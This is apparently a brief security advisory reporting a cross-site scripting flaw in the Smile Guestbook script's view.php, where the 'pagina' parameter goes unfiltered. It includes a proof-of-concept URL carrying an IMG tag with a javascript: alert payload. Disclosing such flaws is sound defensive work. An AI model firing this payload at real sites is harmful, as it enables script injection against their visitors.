Homepage: http://www.tuttophp.altervista.org/smileguest-ing.htm Description: Smile Guestbook is a cool text-based guestbook with smilies inserting and other features below Effected files: view.php An XSS attack is possible due to no filtering of pagina variable: http://www.example.com/prettyguest-ing/view.php?pagina=1<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>